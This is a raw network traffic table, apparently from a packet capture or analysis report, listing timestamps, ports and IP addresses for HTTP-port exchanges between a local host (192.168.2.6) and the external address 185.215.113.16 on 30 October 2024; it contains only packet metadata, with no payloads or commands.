Oct 30, 2024 05:25:14.001332045 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.001332045 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.035861969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035887957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035898924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035916090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035928011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035938978 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035953045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.035964966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036046982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036046982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036046982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036061049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036073923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036084890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036098957 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036128044 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036168098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036179066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036184072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036217928 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036231041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036240101 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036250114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036268950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036289930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036483049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036492109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036506891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036518097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036529064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036533117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036546946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036562920 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036581039 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036633968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036643982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036679983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036705017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036716938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036727905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036742926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036748886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.036770105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.036796093 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.075290918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075324059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075333118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075387001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075397968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075412035 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075422049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075433969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075582027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.075582027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.075603962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075622082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075633049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075644016 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.075679064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.075731993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075743914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075756073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.075769901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.075802088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076394081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076442957 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076447964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076463938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076483965 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076500893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076508045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076519012 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076529980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076540947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076561928 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076729059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076775074 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076798916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076809883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076828003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076837063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076845884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.076854944 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076875925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.076885939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.077198982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.077217102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.077244997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.077255964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.094753027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094760895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094772100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094793081 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094803095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094813108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094829082 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.094897032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.094966888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095000029 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.095000029 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.095015049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.095025063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095051050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095062017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095072031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095081091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.095102072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.095112085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095127106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.095160007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.118675947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.118690014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.118710041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.118741035 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.118766069 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153496981 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153506994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153517962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153522015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153532982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153542042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153553963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153570890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153578997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153597116 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153609037 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153619051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153701067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153714895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153714895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153714895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153737068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153743982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153753042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153774977 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153781891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153791904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153796911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153806925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153814077 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153831959 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153846979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.153955936 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153965950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153975010 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.153992891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154007912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154072046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154109001 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154124022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154158115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154181004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154192924 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154202938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154213905 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154232979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154241085 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154264927 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154278040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154290915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.154314995 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.154345989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193058968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193087101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193098068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193108082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193116903 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193133116 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193140984 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193149090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193159103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193172932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193177938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193187952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193207979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193217993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193227053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193232059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193243980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193253040 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193274975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193321943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193331957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193351030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193362951 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193388939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193507910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193516970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193527937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193545103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193563938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193574905 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193603992 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193676949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193685055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193696976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193706036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193722010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193738937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193743944 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193770885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193885088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193892956 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193903923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193914890 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193926096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.193937063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193953037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.193968058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194303989 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194339037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194359064 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194367886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194395065 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194401979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194408894 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194417000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194427013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194433928 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194452047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194468975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194570065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194580078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194590092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.194600105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194616079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.194632053 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212268114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212296963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212310076 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212316990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212336063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212348938 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212362051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212372065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212382078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212394953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212400913 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212415934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212434053 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212444067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212450981 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212460041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212467909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212483883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212500095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212604046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212613106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212622881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212641001 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212652922 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.212694883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212703943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.212733984 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.236241102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.236294031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.236309052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.236315966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.236429930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.236429930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.236429930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.236429930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.270890951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.270917892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.270935059 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.270944118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.270951986 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.270960093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.270975113 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.270984888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.270996094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271004915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271015882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271034002 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271060944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271070957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271080971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271092892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271107912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271193027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271202087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271213055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271223068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271230936 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271258116 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271336079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271375895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271383047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271394014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271435976 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271435976 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271455050 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271466017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271486998 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271501064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271585941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271596909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271605015 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271631956 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271646976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271653891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271662951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271681070 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271693945 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271831036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271841049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271861076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271867990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271879911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271884918 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271895885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271899939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.271910906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.271933079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310553074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310575008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310591936 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310601950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310614109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310623884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310635090 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310646057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310700893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310700893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310795069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310805082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310817003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310825109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310837030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310844898 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310863972 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310939074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.310976982 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.310997963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311007023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311033964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:14.311042070 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:14.311049938 CET	80	49993	185.215.113.16	192.168.2.6
